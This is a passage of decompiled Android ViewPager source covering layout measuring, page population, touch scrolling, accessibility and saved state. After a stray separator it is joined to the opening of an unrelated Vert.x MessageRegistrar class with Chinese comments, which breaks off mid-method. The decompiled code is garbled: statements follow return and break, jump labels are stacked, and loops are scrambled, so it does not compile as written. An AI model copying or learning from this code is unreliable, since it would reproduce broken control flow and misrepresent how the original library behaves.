if (localLayoutParams.height != -2)
{
i4 = 1073741824;
i = i4;
i3 = i1;
if (localLayoutParams.height != -1)
{
i3 = localLayoutParams.height;
i = i4;
}
}
localView.measure(View.MeasureSpec.makeMeasureSpec(i2, j), View.MeasureSpec.makeMeasureSpec(i3, i));
if (m == 0) {
break label382;
}
i = paramInt2 - localView.getMeasuredHeight();
j = paramInt1;
}
}
}
for (;;)
{
k += 1;
paramInt2 = i;
paramInt1 = j;
break;
label350:
m = 0;
break label179;
label356:
n = 0;
break label194;
label362:
j = i1;
if (n == 0) {
break label204;
}
i = 1073741824;
j = i1;
break label204;
label382:
i = paramInt2;
j = paramInt1;
if (n != 0)
{
j = paramInt1 - localView.getMeasuredWidth();
i = paramInt2;
}
}
}
this.mChildWidthMeasureSpec = View.MeasureSpec.makeMeasureSpec(paramInt1, 1073741824);
this.mChildHeightMeasureSpec = View.MeasureSpec.makeMeasureSpec(paramInt2, 1073741824);
this.mInLayout = true;
populate();
this.mInLayout = false;
int i = getChildCount();
paramInt2 = 0;
while (paramInt2 < i)
{
localView = getChildAt(paramInt2);
if (localView.getVisibility() != 8)
{
localLayoutParams = (LayoutParams)localView.getLayoutParams();
if ((localLayoutParams == null) || (!localLayoutParams.isDecor)) {
localView.measure(View.MeasureSpec.makeMeasureSpec((int)(paramInt1 * localLayoutParams.widthFactor), 1073741824), this.mChildHeightMeasureSpec);
}
}
paramInt2 += 1;
}
}
@CallSuper
protected void onPageScrolled(int paramInt1, float paramFloat, int paramInt2)
{
int i;
View localView;
if (this.mDecorChildCount > 0)
{
int i1 = getScrollX();
i = getPaddingLeft();
int k = getPaddingRight();
int i2 = getWidth();
int i3 = getChildCount();
int m = 0;
while (m < i3)
{
localView = getChildAt(m);
LayoutParams localLayoutParams = (LayoutParams)localView.getLayoutParams();
int j;
int n;
if (!localLayoutParams.isDecor)
{
j = k;
n = i;
m += 1;
i = n;
k = j;
}
else
{
switch (localLayoutParams.gravity & 0x7)
{
case 2:
case 4:
default:
j = i;
}
for (;;)
{
int i4 = j + i1 - localView.getLeft();
n = i;
j = k;
if (i4 == 0) {
break;
}
localView.offsetLeftAndRight(i4);
n = i;
j = k;
break;
j = i;
i += localView.getWidth();
continue;
j = Math.max((i2 - localView.getMeasuredWidth()) / 2, i);
continue;
j = i2 - k - localView.getMeasuredWidth();
k += localView.getMeasuredWidth();
}
}
}
}
dispatchOnPageScrolled(paramInt1, paramFloat, paramInt2);
if (this.mPageTransformer != null)
{
paramInt2 = getScrollX();
i = getChildCount();
paramInt1 = 0;
if (paramInt1 < i)
{
localView = getChildAt(paramInt1);
if (((LayoutParams)localView.getLayoutParams()).isDecor) {}
for (;;)
{
paramInt1 += 1;
break;
paramFloat = (localView.getLeft() - paramInt2) / getClientWidth();
this.mPageTransformer.transformPage(localView, paramFloat);
}
}
}
this.mCalledSuper = true;
}
protected boolean onRequestFocusInDescendants(int paramInt, Rect paramRect)
{
int j = getChildCount();
int i;
int k;
if ((paramInt & 0x2) != 0)
{
i = 0;
k = 1;
}
while (i != j)
{
View localView = getChildAt(i);
if (localView.getVisibility() == 0)
{
ItemInfo localItemInfo = infoForChild(localView);
if ((localItemInfo != null) && (localItemInfo.position == this.mCurItem) && (localView.requestFocus(paramInt, paramRect)))
{
return true;
i = j - 1;
k = -1;
j = -1;
continue;
}
}
i += k;
}
return false;
}
public void onRestoreInstanceState(Parcelable paramParcelable)
{
if (!(paramParcelable instanceof SavedState))
{
super.onRestoreInstanceState(paramParcelable);
return;
}
paramParcelable = (SavedState)paramParcelable;
super.onRestoreInstanceState(paramParcelable.getSuperState());
if (this.mAdapter != null)
{
this.mAdapter.restoreState(paramParcelable.adapterState, paramParcelable.loader);
setCurrentItemInternal(paramParcelable.position, false, true);
return;
}
this.mRestoredCurItem = paramParcelable.position;
this.mRestoredAdapterState = paramParcelable.adapterState;
this.mRestoredClassLoader = paramParcelable.loader;
}
public Parcelable onSaveInstanceState()
{
SavedState localSavedState = new SavedState(super.onSaveInstanceState());
localSavedState.position = this.mCurItem;
if (this.mAdapter != null) {
localSavedState.adapterState = this.mAdapter.saveState();
}
return localSavedState;
}
protected void onSizeChanged(int paramInt1, int paramInt2, int paramInt3, int paramInt4)
{
super.onSizeChanged(paramInt1, paramInt2, paramInt3, paramInt4);
if (paramInt1 != paramInt3) {
recomputeScrollPosition(paramInt1, paramInt3, this.mPageMargin, this.mPageMargin);
}
}
public boolean onTouchEvent(MotionEvent paramMotionEvent)
{
if (this.mFakeDragging) {
return true;
}
if ((paramMotionEvent.getAction() == 0) && (paramMotionEvent.getEdgeFlags() != 0)) {
return false;
}
if ((this.mAdapter == null) || (this.mAdapter.getCount() == 0)) {
return false;
}
if (this.mVelocityTracker == null) {
this.mVelocityTracker = VelocityTracker.obtain();
}
this.mVelocityTracker.addMovement(paramMotionEvent);
int i = paramMotionEvent.getAction();
boolean bool2 = false;
boolean bool1 = bool2;
switch (i & 0xFF)
{
default:
bool1 = bool2;
}
for (;;)
{
if (bool1) {
ViewCompat.postInvalidateOnAnimation(this);
}
return true;
this.mScroller.abortAnimation();
this.mPopulatePending = false;
populate();
float f1 = paramMotionEvent.getX();
this.mInitialMotionX = f1;
this.mLastMotionX = f1;
f1 = paramMotionEvent.getY();
this.mInitialMotionY = f1;
this.mLastMotionY = f1;
this.mActivePointerId = paramMotionEvent.getPointerId(0);
bool1 = bool2;
continue;
float f2;
if (!this.mIsBeingDragged)
{
i = paramMotionEvent.findPointerIndex(this.mActivePointerId);
if (i == -1)
{
bool1 = resetTouch();
continue;
}
f1 = paramMotionEvent.getX(i);
float f3 = Math.abs(f1 - this.mLastMotionX);
f2 = paramMotionEvent.getY(i);
float f4 = Math.abs(f2 - this.mLastMotionY);
if ((f3 > this.mTouchSlop) && (f3 > f4))
{
this.mIsBeingDragged = true;
requestParentDisallowInterceptTouchEvent(true);
if (f1 - this.mInitialMotionX <= 0.0F) {
break label397;
}
}
}
Object localObject;
label397:
for (f1 = this.mInitialMotionX + this.mTouchSlop;; f1 = this.mInitialMotionX - this.mTouchSlop)
{
this.mLastMotionX = f1;
this.mLastMotionY = f2;
setScrollState(1);
setScrollingCacheEnabled(true);
localObject = getParent();
if (localObject != null) {
((ViewParent)localObject).requestDisallowInterceptTouchEvent(true);
}
bool1 = bool2;
if (!this.mIsBeingDragged) {
break;
}
bool1 = false | performDrag(paramMotionEvent.getX(paramMotionEvent.findPointerIndex(this.mActivePointerId)));
break;
}
bool1 = bool2;
if (this.mIsBeingDragged)
{
localObject = this.mVelocityTracker;
((VelocityTracker)localObject).computeCurrentVelocity(1000, this.mMaximumVelocity);
i = (int)VelocityTrackerCompat.getXVelocity((VelocityTracker)localObject, this.mActivePointerId);
this.mPopulatePending = true;
int j = getClientWidth();
int k = getScrollX();
localObject = infoForCurrentScrollPosition();
f1 = this.mPageMargin / j;
setCurrentItemInternal(determineTargetPage(((ItemInfo)localObject).position, (k / j - ((ItemInfo)localObject).offset) / (((ItemInfo)localObject).widthFactor + f1), i, (int)(paramMotionEvent.getX(paramMotionEvent.findPointerIndex(this.mActivePointerId)) - this.mInitialMotionX)), true, true, i);
bool1 = resetTouch();
continue;
bool1 = bool2;
if (this.mIsBeingDragged)
{
scrollToItem(this.mCurItem, true, 0, false);
bool1 = resetTouch();
continue;
i = MotionEventCompat.getActionIndex(paramMotionEvent);
this.mLastMotionX = paramMotionEvent.getX(i);
this.mActivePointerId = paramMotionEvent.getPointerId(i);
bool1 = bool2;
continue;
onSecondaryPointerUp(paramMotionEvent);
this.mLastMotionX = paramMotionEvent.getX(paramMotionEvent.findPointerIndex(this.mActivePointerId));
bool1 = bool2;
}
}
}
}
boolean pageLeft()
{
if (this.mCurItem > 0)
{
setCurrentItem(this.mCurItem - 1, true);
return true;
}
return false;
}
boolean pageRight()
{
if ((this.mAdapter != null) && (this.mCurItem < this.mAdapter.getCount() - 1))
{
setCurrentItem(this.mCurItem + 1, true);
return true;
}
return false;
}
void populate()
{
populate(this.mCurItem);
}
void populate(int paramInt)
{
Object localObject2 = null;
if (this.mCurItem != paramInt)
{
localObject2 = infoForPosition(this.mCurItem);
this.mCurItem = paramInt;
}
if (this.mAdapter == null) {
sortChildDrawingOrder();
}
label350:
label363:
label448:
label455:
label638:
label651:
label672:
label799:
label808:
label923:
label929:
label944:
label1058:
label1070:
label1189:
label1298:
label1304:
for (;;)
{
return;
if (this.mPopulatePending)
{
sortChildDrawingOrder();
return;
}
if (getWindowToken() != null)
{
this.mAdapter.startUpdate(this);
paramInt = this.mOffscreenPageLimit;
int i2 = Math.max(0, this.mCurItem - paramInt);
int n = this.mAdapter.getCount();
int i1 = Math.min(n - 1, this.mCurItem + paramInt);
if (n != this.mExpectedAdapterCount) {
try
{
String str = getResources().getResourceName(getId());
throw new IllegalStateException("The application's PagerAdapter changed the adapter's contents without calling PagerAdapter#notifyDataSetChanged! Expected adapter item count: " + this.mExpectedAdapterCount + ", found: " + n + " Pager id: " + str + " Pager class: " + getClass() + " Problematic adapter: " + this.mAdapter.getClass());
}
catch (Resources.NotFoundException localNotFoundException)
{
for (;;)
{
localObject1 = Integer.toHexString(getId());
}
}
}
Object localObject3 = null;
paramInt = 0;
Object localObject1 = localObject3;
Object localObject4;
if (paramInt < this.mItems.size())
{
localObject4 = (ItemInfo)this.mItems.get(paramInt);
if (((ItemInfo)localObject4).position < this.mCurItem) {
break label638;
}
localObject1 = localObject3;
if (((ItemInfo)localObject4).position == this.mCurItem) {
localObject1 = localObject4;
}
}
localObject3 = localObject1;
if (localObject1 == null)
{
localObject3 = localObject1;
if (n > 0) {
localObject3 = addNewItem(this.mCurItem, paramInt);
}
}
float f3;
int m;
int i3;
float f2;
int k;
int j;
int i;
if (localObject3 != null)
{
f3 = 0.0F;
m = paramInt - 1;
if (m >= 0)
{
localObject1 = (ItemInfo)this.mItems.get(m);
i3 = getClientWidth();
if (i3 > 0) {
break label651;
}
f2 = 0.0F;
k = this.mCurItem - 1;
localObject4 = localObject1;
j = paramInt;
if (k >= 0)
{
if ((f3 < f2) || (k >= i2)) {
break label808;
}
if (localObject4 != null) {
break label672;
}
}
f3 = ((ItemInfo)localObject3).widthFactor;
k = j + 1;
if (f3 < 2.0F)
{
if (k >= this.mItems.size()) {
break label923;
}
localObject1 = (ItemInfo)this.mItems.get(k);
if (i3 > 0) {
break label929;
}
f2 = 0.0F;
i = this.mCurItem + 1;
localObject4 = localObject1;
if (i < n)
{
if ((f3 < f2) || (i <= i1)) {
break label1070;
}
if (localObject4 != null) {
break label944;
}
}
}
calculatePageOffsets((ItemInfo)localObject3, j, (ItemInfo)localObject2);
}
}
else
{
localObject2 = this.mAdapter;
paramInt = this.mCurItem;
if (localObject3 == null) {
break label1189;
}
}
for (localObject1 = ((ItemInfo)localObject3).object;; localObject1 = null)
{
((PagerAdapter)localObject2).setPrimaryItem(this, paramInt, localObject1);
this.mAdapter.finishUpdate(this);
i = getChildCount();
paramInt = 0;
while (paramInt < i)
{
localObject2 = getChildAt(paramInt);
localObject1 = (LayoutParams)((View)localObject2).getLayoutParams();
((LayoutParams)localObject1).childIndex = paramInt;
if ((!((LayoutParams)localObject1).isDecor) && (((LayoutParams)localObject1).widthFactor == 0.0F))
{
localObject2 = infoForChild((View)localObject2);
if (localObject2 != null)
{
((LayoutParams)localObject1).widthFactor = ((ItemInfo)localObject2).widthFactor;
((LayoutParams)localObject1).position = ((ItemInfo)localObject2).position;
}
}
paramInt += 1;
}
paramInt += 1;
break;
localObject1 = null;
break label350;
f2 = 2.0F - ((ItemInfo)localObject3).widthFactor + getPaddingLeft() / i3;
break label363;
paramInt = j;
float f1 = f3;
localObject1 = localObject4;
i = m;
if (k == ((ItemInfo)localObject4).position)
{
paramInt = j;
f1 = f3;
localObject1 = localObject4;
i = m;
if (!((ItemInfo)localObject4).scrolling)
{
this.mItems.remove(m);
this.mAdapter.destroyItem(this, k, ((ItemInfo)localObject4).object);
i = m - 1;
paramInt = j - 1;
if (i < 0) {
break label799;
}
localObject1 = (ItemInfo)this.mItems.get(i);
}
}
for (f1 = f3;; f1 = f3)
{
k -= 1;
j = paramInt;
f3 = f1;
localObject4 = localObject1;
m = i;
break;
localObject1 = null;
}
if ((localObject4 != null) && (k == ((ItemInfo)localObject4).position))
{
f1 = f3 + ((ItemInfo)localObject4).widthFactor;
i = m - 1;
if (i >= 0) {}
for (localObject1 = (ItemInfo)this.mItems.get(i);; localObject1 = null)
{
paramInt = j;
break;
}
}
f1 = f3 + addNewItem(k, m + 1).widthFactor;
paramInt = j + 1;
if (m >= 0) {}
for (localObject1 = (ItemInfo)this.mItems.get(m);; localObject1 = null)
{
i = m;
break;
}
localObject1 = null;
break label448;
f2 = getPaddingRight() / i3 + 2.0F;
break label455;
f1 = f3;
localObject1 = localObject4;
paramInt = k;
if (i == ((ItemInfo)localObject4).position)
{
f1 = f3;
localObject1 = localObject4;
paramInt = k;
if (!((ItemInfo)localObject4).scrolling)
{
this.mItems.remove(k);
this.mAdapter.destroyItem(this, i, ((ItemInfo)localObject4).object);
if (k >= this.mItems.size()) {
break label1058;
}
localObject1 = (ItemInfo)this.mItems.get(k);
paramInt = k;
f1 = f3;
}
}
for (;;)
{
i += 1;
f3 = f1;
localObject4 = localObject1;
k = paramInt;
break;
localObject1 = null;
f1 = f3;
paramInt = k;
}
if ((localObject4 != null) && (i == ((ItemInfo)localObject4).position))
{
f1 = f3 + ((ItemInfo)localObject4).widthFactor;
paramInt = k + 1;
if (paramInt < this.mItems.size()) {}
for (localObject1 = (ItemInfo)this.mItems.get(paramInt);; localObject1 = null) {
break;
}
}
localObject1 = addNewItem(i, k);
paramInt = k + 1;
f1 = f3 + ((ItemInfo)localObject1).widthFactor;
if (paramInt < this.mItems.size()) {}
for (localObject1 = (ItemInfo)this.mItems.get(paramInt);; localObject1 = null) {
break;
}
}
sortChildDrawingOrder();
if (hasFocus())
{
localObject1 = findFocus();
if (localObject1 != null) {}
for (localObject1 = infoForAnyChild((View)localObject1);; localObject1 = null)
{
if ((localObject1 != null) && (((ItemInfo)localObject1).position == this.mCurItem)) {
break label1304;
}
paramInt = 0;
for (;;)
{
if (paramInt >= getChildCount()) {
break label1298;
}
localObject1 = getChildAt(paramInt);
localObject2 = infoForChild((View)localObject1);
if ((localObject2 != null) && (((ItemInfo)localObject2).position == this.mCurItem) && (((View)localObject1).requestFocus(2))) {
break;
}
paramInt += 1;
}
break;
}
}
}
}
}
public void removeOnAdapterChangeListener(@NonNull OnAdapterChangeListener paramOnAdapterChangeListener)
{
if (this.mAdapterChangeListeners != null) {
this.mAdapterChangeListeners.remove(paramOnAdapterChangeListener);
}
}
public void removeOnPageChangeListener(OnPageChangeListener paramOnPageChangeListener)
{
if (this.mOnPageChangeListeners != null) {
this.mOnPageChangeListeners.remove(paramOnPageChangeListener);
}
}
public void removeView(View paramView)
{
if (this.mInLayout)
{
removeViewInLayout(paramView);
return;
}
super.removeView(paramView);
}
public void setAdapter(PagerAdapter paramPagerAdapter)
{
int i;
if (this.mAdapter != null)
{
this.mAdapter.setViewPagerObserver(null);
this.mAdapter.startUpdate(this);
i = 0;
while (i < this.mItems.size())
{
localObject = (ItemInfo)this.mItems.get(i);
this.mAdapter.destroyItem(this, ((ItemInfo)localObject).position, ((ItemInfo)localObject).object);
i += 1;
}
this.mAdapter.finishUpdate(this);
this.mItems.clear();
removeNonDecorViews();
this.mCurItem = 0;
scrollTo(0, 0);
}
Object localObject = this.mAdapter;
this.mAdapter = paramPagerAdapter;
this.mExpectedAdapterCount = 0;
boolean bool;
if (this.mAdapter != null)
{
if (this.mObserver == null) {
this.mObserver = new PagerObserver(null);
}
this.mAdapter.setViewPagerObserver(this.mObserver);
this.mPopulatePending = false;
bool = this.mFirstLayout;
this.mFirstLayout = true;
this.mExpectedAdapterCount = this.mAdapter.getCount();
if (this.mRestoredCurItem < 0) {
break label297;
}
this.mAdapter.restoreState(this.mRestoredAdapterState, this.mRestoredClassLoader);
setCurrentItemInternal(this.mRestoredCurItem, false, true);
this.mRestoredCurItem = -1;
this.mRestoredAdapterState = null;
this.mRestoredClassLoader = null;
}
while ((this.mAdapterChangeListeners != null) && (!this.mAdapterChangeListeners.isEmpty()))
{
i = 0;
int j = this.mAdapterChangeListeners.size();
while (i < j)
{
((OnAdapterChangeListener)this.mAdapterChangeListeners.get(i)).onAdapterChanged(this, (PagerAdapter)localObject, paramPagerAdapter);
i += 1;
}
label297:
if (!bool) {
populate();
} else {
requestLayout();
}
}
}
void setChildrenDrawingOrderEnabledCompat(boolean paramBoolean)
{
if ((Build.VERSION.SDK_INT < 7) || (this.mSetChildrenDrawingOrderEnabled == null)) {}
try
{
this.mSetChildrenDrawingOrderEnabled = ViewGroup.class.getDeclaredMethod("setChildrenDrawingOrderEnabled", new Class[] { Boolean.TYPE });
}
catch (NoSuchMethodException localNoSuchMethodException)
{
for (;;)
{
try
{
this.mSetChildrenDrawingOrderEnabled.invoke(this, new Object[] { Boolean.valueOf(paramBoolean) });
return;
}
catch (Exception localException)
{
Log.e("ViewPager", "Error changing children drawing order", localException);
}
localNoSuchMethodException = localNoSuchMethodException;
Log.e("ViewPager", "Can't find setChildrenDrawingOrderEnabled", localNoSuchMethodException);
}
}
}
public void setCurrentItem(int paramInt)
{
this.mPopulatePending = false;
if (!this.mFirstLayout) {}
for (boolean bool = true;; bool = false)
{
setCurrentItemInternal(paramInt, bool, false);
return;
}
}
public void setCurrentItem(int paramInt, boolean paramBoolean)
{
this.mPopulatePending = false;
setCurrentItemInternal(paramInt, paramBoolean, false);
}
void setCurrentItemInternal(int paramInt, boolean paramBoolean1, boolean paramBoolean2)
{
setCurrentItemInternal(paramInt, paramBoolean1, paramBoolean2, 0);
}
void setCurrentItemInternal(int paramInt1, boolean paramBoolean1, boolean paramBoolean2, int paramInt2)
{
boolean bool = true;
if ((this.mAdapter == null) || (this.mAdapter.getCount() <= 0))
{
setScrollingCacheEnabled(false);
return;
}
if ((!paramBoolean2) && (this.mCurItem == paramInt1) && (this.mItems.size() != 0))
{
setScrollingCacheEnabled(false);
return;
}
int i;
if (paramInt1 < 0) {
i = 0;
}
for (;;)
{
paramInt1 = this.mOffscreenPageLimit;
if ((i <= this.mCurItem + paramInt1) && (i >= this.mCurItem - paramInt1)) {
break;
}
paramInt1 = 0;
while (paramInt1 < this.mItems.size())
{
((ItemInfo)this.mItems.get(paramInt1)).scrolling = true;
paramInt1 += 1;
}
i = paramInt1;
if (paramInt1 >= this.mAdapter.getCount()) {
i = this.mAdapter.getCount() - 1;
}
}
if (this.mCurItem != i) {}
for (paramBoolean2 = bool; this.mFirstLayout; paramBoolean2 = false)
{
this.mCurItem = i;
if (paramBoolean2) {
dispatchOnPageSelected(i);
}
requestLayout();
return;
}
populate(i);
scrollToItem(i, paramBoolean1, paramInt2, paramBoolean2);
}
OnPageChangeListener setInternalPageChangeListener(OnPageChangeListener paramOnPageChangeListener)
{
OnPageChangeListener localOnPageChangeListener = this.mInternalPageChangeListener;
this.mInternalPageChangeListener = paramOnPageChangeListener;
return localOnPageChangeListener;
}
public void setOffscreenPageLimit(int paramInt)
{
int i = paramInt;
if (paramInt < 1)
{
Log.w("ViewPager", "Requested offscreen page limit " + paramInt + " too small; defaulting to " + 1);
i = 1;
}
if (i != this.mOffscreenPageLimit)
{
this.mOffscreenPageLimit = i;
populate();
}
}
@Deprecated
public void setOnPageChangeListener(OnPageChangeListener paramOnPageChangeListener)
{
this.mOnPageChangeListener = paramOnPageChangeListener;
}
public void setPageMargin(int paramInt)
{
int i = this.mPageMargin;
this.mPageMargin = paramInt;
int j = getWidth();
recomputeScrollPosition(j, j, paramInt, i);
requestLayout();
}
public void setPageMarginDrawable(@DrawableRes int paramInt)
{
setPageMarginDrawable(getContext().getResources().getDrawable(paramInt));
}
public void setPageMarginDrawable(Drawable paramDrawable)
{
this.mMarginDrawable = paramDrawable;
if (paramDrawable != null) {
refreshDrawableState();
}
if (paramDrawable == null) {}
for (boolean bool = true;; bool = false)
{
setWillNotDraw(bool);
invalidate();
return;
}
}
public void setPageTransformer(boolean paramBoolean, PageTransformer paramPageTransformer)
{
int j = 1;
boolean bool1;
boolean bool2;
label28:
int i;
if (Build.VERSION.SDK_INT >= 11)
{
if (paramPageTransformer == null) {
break label75;
}
bool1 = true;
if (this.mPageTransformer == null) {
break label81;
}
bool2 = true;
if (bool1 == bool2) {
break label87;
}
i = 1;
label37:
this.mPageTransformer = paramPageTransformer;
setChildrenDrawingOrderEnabledCompat(bool1);
if (!bool1) {
break label92;
}
if (paramBoolean) {
j = 2;
}
}
label75:
label81:
label87:
label92:
for (this.mDrawingOrder = j;; this.mDrawingOrder = 0)
{
if (i != 0) {
populate();
}
return;
bool1 = false;
break;
bool2 = false;
break label28;
i = 0;
break label37;
}
}
void smoothScrollTo(int paramInt1, int paramInt2)
{
smoothScrollTo(paramInt1, paramInt2, 0);
}
void smoothScrollTo(int paramInt1, int paramInt2, int paramInt3)
{
if (getChildCount() == 0)
{
setScrollingCacheEnabled(false);
return;
}
int i;
if ((this.mScroller != null) && (!this.mScroller.isFinished()))
{
i = 1;
if (i == 0) {
break label125;
}
if (!this.mIsScrollStarted) {
break label113;
}
i = this.mScroller.getCurrX();
label54:
this.mScroller.abortAnimation();
setScrollingCacheEnabled(false);
}
int j;
int k;
for (;;)
{
j = getScrollY();
k = paramInt1 - i;
paramInt2 -= j;
if ((k != 0) || (paramInt2 != 0)) {
break label134;
}
completeScroll(false);
populate();
setScrollState(0);
return;
i = 0;
break;
label113:
i = this.mScroller.getStartX();
break label54;
label125:
i = getScrollX();
}
label134:
setScrollingCacheEnabled(true);
setScrollState(2);
paramInt1 = getClientWidth();
int m = paramInt1 / 2;
float f3 = Math.min(1.0F, 1.0F * Math.abs(k) / paramInt1);
float f1 = m;
float f2 = m;
f3 = distanceInfluenceForSnapDuration(f3);
paramInt3 = Math.abs(paramInt3);
if (paramInt3 > 0) {}
for (paramInt1 = Math.round(1000.0F * Math.abs((f1 + f2 * f3) / paramInt3)) * 4;; paramInt1 = (int)((1.0F + Math.abs(k) / (this.mPageMargin + f1 * f2)) * 100.0F))
{
paramInt1 = Math.min(paramInt1, 600);
this.mIsScrollStarted = false;
this.mScroller.startScroll(i, j, k, paramInt2, paramInt1);
ViewCompat.postInvalidateOnAnimation(this);
return;
f1 = paramInt1;
f2 = this.mAdapter.getPageWidth(this.mCurItem);
}
}
protected boolean verifyDrawable(Drawable paramDrawable)
{
return (super.verifyDrawable(paramDrawable)) || (paramDrawable == this.mMarginDrawable);
}
@Inherited
@Retention(RetentionPolicy.RUNTIME)
@Target({java.lang.annotation.ElementType.TYPE})
public static @interface DecorView {}
static class ItemInfo
{
Object object;
float offset;
int position;
boolean scrolling;
float widthFactor;
ItemInfo() {}
}
public static class LayoutParams
extends ViewGroup.LayoutParams
{
int childIndex;
public int gravity;
public boolean isDecor;
boolean needsMeasure;
int position;
float widthFactor = 0.0F;
public LayoutParams()
{
super(-1);
}
public LayoutParams(Context paramContext, AttributeSet paramAttributeSet)
{
super(paramAttributeSet);
paramContext = paramContext.obtainStyledAttributes(paramAttributeSet, ViewPager.LAYOUT_ATTRS);
this.gravity = paramContext.getInteger(0, 48);
paramContext.recycle();
}
}
class MyAccessibilityDelegate
extends AccessibilityDelegateCompat
{
MyAccessibilityDelegate() {}
private boolean canScroll()
{
return (ViewPager.this.mAdapter != null) && (ViewPager.this.mAdapter.getCount() > 1);
}
public void onInitializeAccessibilityEvent(View paramView, AccessibilityEvent paramAccessibilityEvent)
{
super.onInitializeAccessibilityEvent(paramView, paramAccessibilityEvent);
paramAccessibilityEvent.setClassName(ViewPager.class.getName());
paramView = AccessibilityEventCompat.asRecord(paramAccessibilityEvent);
paramView.setScrollable(canScroll());
if ((paramAccessibilityEvent.getEventType() == 4096) && (ViewPager.this.mAdapter != null))
{
paramView.setItemCount(ViewPager.this.mAdapter.getCount());
paramView.setFromIndex(ViewPager.this.mCurItem);
paramView.setToIndex(ViewPager.this.mCurItem);
}
}
public void onInitializeAccessibilityNodeInfo(View paramView, AccessibilityNodeInfoCompat paramAccessibilityNodeInfoCompat)
{
super.onInitializeAccessibilityNodeInfo(paramView, paramAccessibilityNodeInfoCompat);
paramAccessibilityNodeInfoCompat.setClassName(ViewPager.class.getName());
paramAccessibilityNodeInfoCompat.setScrollable(canScroll());
if (ViewPager.this.canScrollHorizontally(1)) {
paramAccessibilityNodeInfoCompat.addAction(4096);
}
if (ViewPager.this.canScrollHorizontally(-1)) {
paramAccessibilityNodeInfoCompat.addAction(8192);
}
}
public boolean performAccessibilityAction(View paramView, int paramInt, Bundle paramBundle)
{
if (super.performAccessibilityAction(paramView, paramInt, paramBundle)) {
return true;
}
switch (paramInt)
{
default:
return false;
case 4096:
if (ViewPager.this.canScrollHorizontally(1))
{
ViewPager.this.setCurrentItem(ViewPager.this.mCurItem + 1);
return true;
}
return false;
}
if (ViewPager.this.canScrollHorizontally(-1))
{
ViewPager.this.setCurrentItem(ViewPager.this.mCurItem - 1);
return true;
}
return false;
}
}
public static abstract interface OnAdapterChangeListener
{
public abstract void onAdapterChanged(@NonNull ViewPager paramViewPager, @Nullable PagerAdapter paramPagerAdapter1, @Nullable PagerAdapter paramPagerAdapter2);
}
public static abstract interface OnPageChangeListener
{
public abstract void onPageScrollStateChanged(int paramInt);
public abstract void onPageScrolled(int paramInt1, float paramFloat, int paramInt2);
public abstract void onPageSelected(int paramInt);
}
public static abstract interface PageTransformer
{
public abstract void transformPage(View paramView, float paramFloat);
}
private class PagerObserver
extends DataSetObserver
{
private PagerObserver() {}
public void onChanged()
{
ViewPager.this.dataSetChanged();
}
public void onInvalidated()
{
ViewPager.this.dataSetChanged();
}
}
public static class SavedState
extends AbsSavedState
{
public static final Parcelable.Creator<SavedState> CREATOR = ParcelableCompat.newCreator(new ParcelableCompatCreatorCallbacks()
{
public ViewPager.SavedState createFromParcel(Parcel paramAnonymousParcel, ClassLoader paramAnonymousClassLoader)
{
return new ViewPager.SavedState(paramAnonymousParcel, paramAnonymousClassLoader);
}
public ViewPager.SavedState[] newArray(int paramAnonymousInt)
{
return new ViewPager.SavedState[paramAnonymousInt];
}
});
Parcelable adapterState;
ClassLoader loader;
int position;
SavedState(Parcel paramParcel, ClassLoader paramClassLoader)
{
super(paramClassLoader);
ClassLoader localClassLoader = paramClassLoader;
if (paramClassLoader == null) {
localClassLoader = getClass().getClassLoader();
}
this.position = paramParcel.readInt();
this.adapterState = paramParcel.readParcelable(localClassLoader);
this.loader = localClassLoader;
}
public SavedState(Parcelable paramParcelable)
{
super();
}
public String toString()
{
return "FragmentPager.SavedState{" + Integer.toHexString(System.identityHashCode(this)) + " position=" + this.position + "}";
}
public void writeToParcel(Parcel paramParcel, int paramInt)
{
super.writeToParcel(paramParcel, paramInt);
paramParcel.writeInt(this.position);
paramParcel.writeParcelable(this.adapterState, paramInt);
}
}
public static class SimpleOnPageChangeListener
implements ViewPager.OnPageChangeListener
{
public SimpleOnPageChangeListener() {}
public void onPageScrollStateChanged(int paramInt) {}
public void onPageScrolled(int paramInt1, float paramFloat, int paramInt2) {}
public void onPageSelected(int paramInt) {}
}
static class ViewPositionComparator
implements Comparator<View>
{
ViewPositionComparator() {}
public int compare(View paramView1, View paramView2)
{
paramView1 = (ViewPager.LayoutParams)paramView1.getLayoutParams();
paramView2 = (ViewPager.LayoutParams)paramView2.getLayoutParams();
if (paramView1.isDecor != paramView2.isDecor)
{
if (paramView1.isDecor) {
return 1;
}
return -1;
}
return paramView1.position - paramView2.position;
}
}
}
|
package com.jd.laf.web.vertx.lifecycle;
import com.jd.laf.web.vertx.Environment;
import com.jd.laf.web.vertx.EnvironmentAware;
import com.jd.laf.web.vertx.MessageHandler;
import com.jd.laf.web.vertx.config.VertxConfig;
import io.vertx.core.AsyncResult;
import io.vertx.core.Future;
import io.vertx.core.Handler;
import io.vertx.core.Vertx;
import io.vertx.core.eventbus.EventBus;
import io.vertx.core.eventbus.MessageConsumer;
import io.vertx.core.impl.VertxInternal;
import io.vertx.core.logging.Logger;
import io.vertx.core.logging.LoggerFactory;
import java.util.ArrayList;
import java.util.List;
import static com.jd.laf.web.vertx.Plugin.CODEC;
import static com.jd.laf.web.vertx.Plugin.MESSAGE;
/**
* 消息处理器注册器
*/
public class MessageRegistrar implements Registrar {
protected static final Logger logger = LoggerFactory.getLogger(MessageRegistrar.class);
//消费者
protected List<Consumer> consumers = new ArrayList<>(20);
@Override
public void register(final Vertx vertx, final Environment environment, final VertxConfig config) throws Exception {
//配置消费者
EnvironmentAware.setup(vertx, environment, MESSAGE.extensions());
//配置消息编解码
EnvironmentAware.setup(vertx, environment, CODEC.extensions());
final EventBus eventBus = vertx.eventBus();
//注册编解码
CODEC.extensions().forEach(o -> eventBus.registerDefaultCodec(o.type(), o));
//注册消费者
config.getMessages().forEach(route -> {
route.getHandlers().forEach(name -> {
MessageHandler handler = MESSAGE.get(name);
if (handler != null && route.getPath() != null && !route.getPath().isEmpty()) {
//创建消费者
MessageConsumer consumer = eventBus.consumer(route.getPath(), handler);
//设置消费缓冲区大小
if (route.getBufferSize() != null && route.getBufferSize() > 0) {
consumer.setMaxBufferedMessages(route.getBufferSize());
}
consumers.add(new Consumer(route.getPath(), name, consumer));
}
});
});
VertxInternal internal = (VertxInternal) vertx;
//监听器采用AsyncMultiMap保存,内部由ClusterManager提供
//需要通过关闭钩子来提前注销监听器,如果在Verticle中进行异步销毁,这个时候事件线程池已经关闭,可能会挂住
internal.addCloseHook(completionHandler -> {
//反序遍历注销
for (int i = consumers.size() - 1; i >= 0; i--) {
Consumer consumer = consumers.get(i);
consumer.getConsumer().unregister(new Handler<AsyncResult<Void>>() {
